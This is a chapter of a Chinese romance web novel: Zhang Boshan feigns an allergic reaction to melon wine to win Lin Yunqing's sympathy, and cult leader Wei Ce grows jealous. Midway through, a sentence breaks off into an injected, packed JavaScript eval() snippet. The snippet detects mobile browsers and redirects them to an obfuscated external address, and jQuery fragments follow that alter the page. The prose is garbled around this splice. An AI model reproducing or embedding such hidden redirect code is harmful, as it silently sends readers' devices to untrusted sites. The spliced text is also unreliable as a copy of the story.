他来莫停镇能有什么事?竟从未听他说起过。
林云清诧异地看向张伯山。
所以上一世,张伯山也是有私事才来莫停镇的吗?
究竟是什么事?竟然能一直瞒着她。
抬眼间,张伯山神情已然平静下来了,尽管眼中还有些不甘神色,忍耐片刻,还是殷勤地给林云清烫了烫碗筷,只是抿着唇,不知在想些什么。
“我刚刚便想说了,”林云清却皱起眉,“你今日熏的什么香?如此呛人?”
张伯山手一顿,抬脸露出个无奈神色,眼神却有些宠溺:“难为你还能发现我熏了香。”
他何止熏了香。
还换了全套的衣袍,珍贵的玉饰,精致的发冠,甚至还细致地敷了面。
林云清其实发现了他的盛装打扮。
当一个人花团锦簇地出现在你面前,想不注意也很难。
不过这熏香……实在有些熏过了,呛人。
林云清从小便跟着师傅,一直糙养。
后来终于有了点姑娘家的模样,却又因着常年出任务,身上不用任何有强烈味道的东西。
这个习惯,魏策也有。
一教之主,竟不学那些王公贵卿点些熏香附庸风雅,她怀疑过,如今的发现,或许能证明魏策的身份大有来头。
林云清这样想着,闻着呛人的香,颇有些嫌弃,便坐得离张伯山远了些。
张伯山顿了顿,又将凳子挪近林云清。
不仅坐近了,还拿起筷子殷勤地为林云清布菜。
几声叩门轻响,雅间门扉被打开,店小二躬身端着一壶酒走了进来,抱着酒对林云清和张伯山行礼道:“二位贵客,这是蜜瓜酿,莫停镇的特色,小店附送的。”
说着,将酒放在桌上,又行礼退了下去。
张伯山轻笑一声:“这店家倒是好眼色。”
将酒拿起,给林云清倒了一杯,又为自己斟满。
“蜜瓜酿,名字倒是有趣。”张伯山浅浅抿了一口,对着林云清道,“这酒味不重,有些微甘,你应当会喜欢。”
林云清其实早已喝过,这蜜瓜酒算不得什么正经酒,酒味稀薄,顶多也只算个糖水,有些蜜瓜的清香甘甜罢了。
她没讲什么,也捧起酒杯,饮了一口。
然而,变故陡生。
“呃——”张伯山发出一声痛苦的低吟,面色逐渐涨红。
他手抓住脖子,呼吸困难地往林云清身侧栽去。
“你怎么了?”
林云清惊愕,一把扶住他。
随即扭头,看向这杯中蜜瓜酒,眼神闪过森冷冷意:“这酒有问题?!”
不对。
若有问题,她也喝了,为何没有反应。
难道……
张伯山面露痛苦之色,喘着气,也并未答话,只闭目靠在林云清的肩头。
林云清扶他靠在椅背上,低头将他的衣襟松开一些,抬手掷出一根竹筷。
竹筷打在窗上,又弹回屋内,撞开了寸许宽的缝隙。
林云清四处找寻了一番,从张伯山腰间摘下一枚银坠,置于酒中。
蜜瓜酒没问题。
可林云清回头,入目还是张伯山那番难过神态。
林云清忆起曾听过的故事,有人会因为某样吃食而死,太医院当时给出的结论是食物与体质相克害。
会不会……是因为蜜瓜的缘故?
酒里应有不少的蜜瓜汁。
想到这里,林云清道了一句:“对不住了。”
随后抓起茶壶,捏住张伯山的下巴,对他灌起茶水。
张伯山眼神中闪过错愕,可并未多做反应。
眨眼间,便喝了一整壶水。
张伯山此时心中有些懊悔了。
其实他只饮了一小口酒,并未有多严重,这番情态是他故意为之。
在林云清扒开他衣襟时,张伯山实实在在地有些呼吸不畅,不过却是羞的。
可他还是强忍着心中悸动,靠在椅背上,悄悄寻时机,再挪到林云青肩头。
他早知自己食不得蜜瓜,此番行径,也只是想博取些许心上人的怜悯罢了。
让他哭笑不得的是,没想到林云清如此冷静,一整套动作流程下来,他竟真的有些演不下去了。
林云清用茶水将张伯山饮过的酒液进行一番稀释,见他人终于缓过来一些。
脸色恢复正常,却还是将头靠在林云清掌心,颤抖着睫毛,露出个脆弱的神态来。
危急关头,没觉得有什么。
此刻定睛一看,张伯山被自己捏住下颚,强行灌茶水的姿势……好像是有些不妥。
林云清清了清嗓子,将手放开。
张伯山脸上还带着潮红,眼神含水,看向林云清,声音已经有些喑哑:“云清,你还是有点在意我的,是吗?”
林云清叹口气。
“是。”
听到这个字,张伯山眼中顿时有了神采。
他上前抓住林云清收回的手,
引着她,放在自己面颊处,脸也随之在林云清掌心轻蹭了蹭:“那你的这点在意,能不能——”
“不能。”
林云清打断了张伯山的未竟之语,淡淡抽回手,“我在意,是因为我看不得谁死在我眼前。”
林云清神色认真,看向张伯山:“无论今日遇险的是你,亦或是刚刚的店小二,我都会倾力相救。”
“你们在我眼中,并无分别。”
好一个并无分别。
张伯山闭目,感到心脏的抽痛。
他第一次觉得茫然。
好像无论用什么手段,都再也捂不热林云清的心。
“伯山,此地非寻常之地,不宜久留。”林云清垂眸,将话题又拉了回来,“你究竟有何事要办?才偏要留在这里?”
张伯山惨淡一笑,“这件事,我暂时不能告诉你。你陪我几日时间,我许久未见你,就当……”
他顿了顿,“就当作知己好友,再陪我逛一逛这莫停镇。”
林云清不动声色,扭过头去,不知在想些什么。
张伯山垂下眼睫,又道:“陪我四日,之后我就离开。”
“你的话还可信吗?”林云清望着窗外,语气淡淡。
“我也只是……想再多看看你,云清。”张伯山靠在椅背上,自嘲地笑了,语气中透着点疲惫。
林云清终于还是转过头,叹口气,应了。
一番兵荒马乱过去,终于是把午膳用完了,林云清起身回到了三莫教。
林云清回到教中第一件事,便是将这身妇人装束换下,换上教中红衣。
揉了揉酸痛的脖子,林云清突然看到自己前些日子在书斋买的《玉楼策》。
她将书买回来,却一直未曾翻过。
唇角勾了勾,林云清将书收入怀中。
掌事神殿,魏策今日饭都用的少了些。
他端着一盏热茶,耳边回荡着小环的话,心中有些烦躁。
“也不知是见什么人,需要打扮地如此华贵啊?”
“我听说……只有见心上人的时候,才会注意许多平时不会在意的事。”
“男人不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080442|161819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主动没什么,最怕他的情敌又争又抢!”
魏策捏捏眉心,对着小环道:“好了!你也安静些。”
小环吐吐舌头:“我还以为您喜欢听我们这些小道消息呢?”想了想,又道:“那香香她表哥的事……下次您想听了,再告诉我!”
魏策冷着一张俊脸,心中不由得想起那日张伯山在林云清旁搔首弄姿的样子,心下愈加烦躁。
视线扫过身上的红色教衣,魏策抿紧了唇。
他是不是穿得太过随意了些?
要……再主动些吗?
“教主。”
林云清的声音在耳边响起,魏策眼中闪过震惊之色。
难道真有相思成疾的说法?不然怎么会听到她的声音。
“教主?
又是一声。
魏策坐不住了,他装作饮茶,视线悄悄环顾四周。
魏策:……
魏策在窗边看到了林云清。
林云清只觉得莫名其妙,自己声音也不小,魏策怎么跟没听到一样?
她将侧面的轩窗推开,对着魏策笑道:“我想借小环一用,可以吗?教主。”
林云清站在窗外,风拂起她的乌发,笑眼如星辰,魏策只觉得心间好似有花鸟叩门,有种饱胀又雀跃的感觉。
“嗯。”魏策点点头,突然脑中似乎又回荡起小环的话,要主动一些……
“好,可以。”
魏策想了想,又加了几个字。
“多谢教主!”林云清对着小环招了招手。
小环见得了准许,连忙放下手中东西,欢快地奔向林云清。
风从林云清处吹过来,魏策陡然变了神色。
是一阵香风。
林云清好像从不用香,那这香气从何而来?
望着二人离开的背影,魏策下意识地攥紧了自己受伤的右手。
伤口还未完全愈合,这点痛意恰好能平息心中的妒意。
如此重的熏香,必是长久贴身接触才能染得。
即便再不甘,他又有何胜算呢?
魏策垂眸,看向那只手。
三莫教凉亭内。
“小环,你想过以后吗?”林云清和小环悠闲地靠在椅背上,手边是蜜饯和干果。
“想过啊,”小环剥着核桃,随口道,“以前,想着嫁给教主。”
林云清险些把手里的蜜饯扔出去,忙扭头看向小环:“那现在呢?”
“嘿嘿……”小环扭头,对着林云清露出个坏笑,“后来我发现,我也许不喜欢他,我现在喜欢你。”
“什么?”林云清神情颇有些费解,愈加困惑地看向小环。
“说白了,就是……我喜欢教主,和我喜欢你,是同一种喜欢。”小环拍了拍衣服上的碎屑,眼中闪过狡黠,“所以现在嘛……我更想好好生活,好好赚钱,最好有一天能离开三莫教,去个悠闲的地方生活。”
林云清听完小环的话,心中有了底。
小环并非是一心只想在三莫教里做个教徒,而是想好好生活,认真过日子的。
那便好办了。
林云清笑了笑,从怀中掏出那本《玉楼策》。
翻了几页,道:“前些日子我去了一趟书斋——”
刚说了一句,林云清的声音戛然而止。
脸上迅速飞起一抹红晕。
“然后呢?”小环看向林云清,面露疑惑。
只见林云清死死地捂住那本书,转身猛灌了一杯茶水。
苍天哪!她这是选了本什么书啊?!
林云清内心哀嚎。